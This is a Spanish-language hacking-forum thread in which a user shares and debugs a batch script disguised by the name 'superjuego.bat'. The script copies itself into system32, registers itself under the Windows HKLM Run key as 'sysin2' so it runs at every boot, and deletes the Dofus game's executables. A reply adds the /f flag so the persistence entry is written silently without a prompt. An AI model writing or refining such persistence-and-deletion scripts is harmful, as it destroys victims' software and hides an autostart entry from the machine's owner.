Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: _ en 25 Julio 2010, 13:30 pm



Título: Problemas batch registro
Publicado por: _ en 25 Julio 2010, 13:30 pm
Veréis, estoy creando un batch sencillo que elimina un juego cada vez que se ejecuta Windows. Os dejo el código:
Citar
@echo off
copy superjuego.bat C:\WINDOWS\system32
cd C:\WINDOWS\system32
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/superjuego.bat"
cd C:\Archivos de programa\Dofus
del uplauncher.exe
cd C:\Archivos de programa\Dofus 2\app
del uplauncher.exe
del dofus.exe
pause > nul
El problema es que cuando se ejecuta más de una vez, se vuelve a copiar al registro y se pausa para pedir confirmación para sobrescribirlo. He probado con la variable if not exist pero no he conseguido solucionarlo. ¿Qué es lo que falla?
Gracias de antemano.


Título: Re: Problemas batch registro
Publicado por: maxx93 en 25 Julio 2010, 19:01 pm
Proba cambiandole esta parte del code
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/superjuego.bat"

por esto...
Código:
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/superjuego.bat" /f

Si queres alivianar un poco el code borrale esto
cd C:\WINDOWS\system32

Salu2.


Título: Re: Problemas batch registro
Publicado por: _ en 26 Julio 2010, 11:44 am
Vale, ya me funciona correctamente, la verdad es que era un error muy tonto. Muchas gracias.